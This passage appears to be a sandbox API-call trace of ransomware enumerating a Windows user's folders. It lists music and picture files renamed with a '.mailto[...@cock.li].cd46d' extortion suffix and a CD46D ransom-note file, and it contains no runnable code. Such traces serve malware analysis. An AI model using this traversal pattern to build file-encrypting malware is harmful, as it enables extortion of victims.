dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0142.919] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0142.919] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0142.919] FindNextFileW (in: hFindFile=0x9425b0, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0142.919] wcscmp (_String1="RecentPlaces.lnk", _String2=".") returned 1 [0142.919] wcscmp (_String1="RecentPlaces.lnk", _String2="..") returned 1 [0142.919] FindNextFileW (in: hFindFile=0x9425b0, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0142.920] FindClose (in: hFindFile=0x9425b0 | out: hFindFile=0x9425b0) returned 1 [0142.920] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912228) returned 1 [0142.920] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4420) returned 1 [0142.920] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f93c8) returned 1 Thread: id = 1717 os_tid = 0x870 [0139.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90ec18 [0139.941] wcscpy (in: _Dest=0x90ec18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0139.941] wcscat (in: _Dest=0x90ec18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\" [0139.941] wcscat (in: _Dest=0x90ec18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*" [0139.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912490 [0139.941] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x912490 | out: lpFindFileData=0x912490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.994] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912490) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ec18) returned 1 [0140.994] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6088) returned 1 Thread: id = 1718 os_tid = 0x874 [0139.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4370 [0139.941] wcscpy (in: _Dest=0x8e4370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0139.941] wcscat (in: _Dest=0x8e4370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0139.941] wcscat (in: _Dest=0x8e4370, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*" [0139.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9126f8 [0139.941] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3bcc600, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3bcc600, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da210 [0139.941] wcscmp (_String1=".", _String2=".") returned 0 [0139.941] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3bcc600, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3bcc600, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.942] wcscmp (_String1="..", _String2=".") returned 1 [0139.942] wcscmp (_String1="..", _String2="..") returned 0 [0139.942] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4133b7b0, ftCreationTime.dwHighDateTime=0x1d4cd16, ftLastAccessTime.dwLowDateTime=0x9e0bfc80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e0bfc80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cIu6mK", cAlternateFileName="")) returned 1 [0139.942] wcscmp (_String1="cIu6mK", _String2=".") returned 1 [0139.942] wcscmp (_String1="cIu6mK", _String2="..") returned 1 [0139.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff1e8 [0139.942] wcscpy (in: _Dest=0x8ff1e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0139.942] wcscat (in: _Dest=0x8ff1e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0139.942] wcscat (in: _Dest=0x8ff1e8, _Source="cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0139.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fd4840, ftCreationTime.dwHighDateTime=0x1d4cb71, ftLastAccessTime.dwLowDateTime=0xfc019f50, ftLastAccessTime.dwHighDateTime=0x1d4d331, ftLastWriteTime.dwLowDateTime=0xfc019f50, ftLastWriteTime.dwHighDateTime=0x1d4d331, nFileSizeHigh=0x0, nFileSizeLow=0x203a, dwReserved0=0x0, dwReserved1=0x0, cFileName="D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="D7BMTV~1.CD4")) returned 1 [0139.943] wcscmp (_String1="D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.943] wcscmp (_String1="D7bmtVRDqqHssbHmEw.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.943] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.943] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d468d70, ftCreationTime.dwHighDateTime=0x1d4d292, ftLastAccessTime.dwLowDateTime=0xefe987b0, ftLastAccessTime.dwHighDateTime=0x1d4d2e5, ftLastWriteTime.dwLowDateTime=0xefe987b0, ftLastWriteTime.dwHighDateTime=0x1d4d2e5, nFileSizeHigh=0x0, nFileSizeLow=0xcfb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="HQ_YR2~1.CD4")) returned 1 [0139.943] wcscmp (_String1="Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.943] wcscmp (_String1="Hq_YR2Kg4mRaMvEMAt.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5228d950, ftCreationTime.dwHighDateTime=0x1d4d591, ftLastAccessTime.dwLowDateTime=0xbdc90330, ftLastAccessTime.dwHighDateTime=0x1d4c860, ftLastWriteTime.dwLowDateTime=0xbdc90330, ftLastWriteTime.dwHighDateTime=0x1d4c860, nFileSizeHigh=0x0, nFileSizeLow=0x8e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="HZZDA5~1.CD4")) returned 1 [0139.943] wcscmp (_String1="HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.943] wcscmp (_String1="HzzDA5qZ 1f0PJR U.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7c2f30, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x5d413820, ftLastAccessTime.dwHighDateTime=0x1d4c7cf, ftLastWriteTime.dwLowDateTime=0x5d413820, ftLastWriteTime.dwHighDateTime=0x1d4c7cf, nFileSizeHigh=0x0, nFileSizeLow=0x5e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="IZELKI~1.CD4")) returned 1 [0139.943] wcscmp (_String1="IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.943] wcscmp (_String1="IZeLkiPTje77_rgy.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x331ba670, ftCreationTime.dwHighDateTime=0x1d4ca0e, ftLastAccessTime.dwLowDateTime=0x57211a0, ftLastAccessTime.dwHighDateTime=0x1d4cb9e, ftLastWriteTime.dwLowDateTime=0x57211a0, ftLastWriteTime.dwHighDateTime=0x1d4cb9e, nFileSizeHigh=0x0, nFileSizeLow=0x18bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="P8AORX~1.CD4")) returned 1 [0139.943] wcscmp (_String1="P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.943] wcscmp (_String1="P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7e9980, ftCreationTime.dwHighDateTime=0x1d4cd23, ftLastAccessTime.dwLowDateTime=0xab77e7b0, ftLastAccessTime.dwHighDateTime=0x1d4cf12, ftLastWriteTime.dwLowDateTime=0xab77e7b0, ftLastWriteTime.dwHighDateTime=0x1d4cf12, nFileSizeHigh=0x0, nFileSizeLow=0xf4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="RKKCRS~1.CD4")) returned 1 [0139.943] wcscmp (_String1="rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.943] wcscmp (_String1="rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.943] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5294e990, ftCreationTime.dwHighDateTime=0x1d4d057, ftLastAccessTime.dwLowDateTime=0x64fa6820, ftLastAccessTime.dwHighDateTime=0x1d4ce1e, ftLastWriteTime.dwLowDateTime=0x64fa6820, ftLastWriteTime.dwHighDateTime=0x1d4ce1e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="UUJV-A~1.CD4")) returned 1 [0139.943] wcscmp (_String1="uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.944] wcscmp (_String1="uujV-aP.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.944] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94114040, ftCreationTime.dwHighDateTime=0x1d4c967, ftLastAccessTime.dwLowDateTime=0x2e597bf0, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x2e597bf0, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0xe5ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="YOKUZJ~1.CD4")) returned 1 [0139.944] wcscmp (_String1="YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.944] wcscmp (_String1="YOKuzj-wTTq98-6lD.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.944] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bdf1d50, ftCreationTime.dwHighDateTime=0x1d4cc1f, ftLastAccessTime.dwLowDateTime=0xce466990, ftLastAccessTime.dwHighDateTime=0x1d4d298, ftLastWriteTime.dwLowDateTime=0xce466990, ftLastWriteTime.dwHighDateTime=0x1d4d298, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZKGQS_~1.CD4")) returned 1 [0139.944] wcscmp (_String1="Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.944] wcscmp (_String1="Z kg QS_edX3OayJ.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.944] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9a5df0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0xf63e20f0, ftLastAccessTime.dwHighDateTime=0x1d4cdf7, ftLastWriteTime.dwLowDateTime=0xf63e20f0, ftLastWriteTime.dwHighDateTime=0x1d4cdf7, nFileSizeHigh=0x0, nFileSizeLow=0xce41, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZR-DZJ~1.CD4")) returned 1 [0139.944] wcscmp (_String1="ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.944] wcscmp (_String1="ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.944] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a9a5df0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0xf63e20f0, ftLastAccessTime.dwHighDateTime=0x1d4cdf7, ftLastWriteTime.dwLowDateTime=0xf63e20f0, ftLastWriteTime.dwHighDateTime=0x1d4cdf7, nFileSizeHigh=0x0, nFileSizeLow=0xce41, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZR-DZJxUB0tFZfADVB.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZR-DZJ~1.CD4")) returned 0 [0139.944] FindClose (in: hFindFile=0x8da210 | out: hFindFile=0x8da210) returned 1 [0139.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9126f8) returned 1 [0139.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4370) returned 1 [0139.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9418) returned 1 Thread: id = 1719 os_tid = 0x878 [0139.945] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ec80 [0139.945] wcscpy (in: _Dest=0x90ec80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0139.945] wcscat (in: _Dest=0x90ec80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\" [0139.945] wcscat (in: _Dest=0x90ec80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*" [0139.945] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9126f8 [0139.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.796] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9126f8) returned 1 [0140.796] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ec80) returned 1 [0140.796] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feca8) returned 1 Thread: id = 1720 os_tid = 0x87c [0139.946] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4370 [0139.946] wcscpy (in: _Dest=0x8e4370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0139.946] wcscat (in: _Dest=0x8e4370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\" [0139.946] wcscat (in: _Dest=0x8e4370, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*" [0139.946] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912960 [0139.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.797] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912960) returned 1 [0140.797] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4370) returned 1 [0140.797] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e44d0) returned 1 Thread: id = 1721 os_tid = 0x880 [0139.946] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8ff248 [0139.946] wcscpy (in: _Dest=0x8ff248, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0139.946] wcscat (in: _Dest=0x8ff248, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0139.946] wcscat (in: _Dest=0x8ff248, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*" [0139.946] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912bc8 [0139.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e321280, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e321280, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da210 [0139.947] wcscmp (_String1=".", _String2=".") returned 0 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e321280, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e321280, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.947] wcscmp (_String1="..", _String2=".") returned 1 [0139.947] wcscmp (_String1="..", _String2="..") returned 0 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5989380, ftCreationTime.dwHighDateTime=0x1d4c8b8, ftLastAccessTime.dwLowDateTime=0x60837ed0, ftLastAccessTime.dwHighDateTime=0x1d4d0b7, ftLastWriteTime.dwLowDateTime=0x60837ed0, ftLastWriteTime.dwHighDateTime=0x1d4d0b7, nFileSizeHigh=0x0, nFileSizeLow=0x14065, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="3CDLP1~1.CD4")) returned 1 [0139.947] wcscmp (_String1="3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.947] wcscmp (_String1="3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f95d30, ftCreationTime.dwHighDateTime=0x1d4cbd1, ftLastAccessTime.dwLowDateTime=0x64306430, ftLastAccessTime.dwHighDateTime=0x1d4d52b, ftLastWriteTime.dwLowDateTime=0x64306430, ftLastWriteTime.dwHighDateTime=0x1d4d52b, nFileSizeHigh=0x0, nFileSizeLow=0xf2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="8PPRO7~1.CD4")) returned 1 [0139.947] wcscmp (_String1="8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.947] wcscmp (_String1="8pPro7.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e0739c0, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9e0739c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e3473e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0139.947] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0139.947] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0139.947] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x912bc8 | out: lpFindFileData=0x912bc8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, 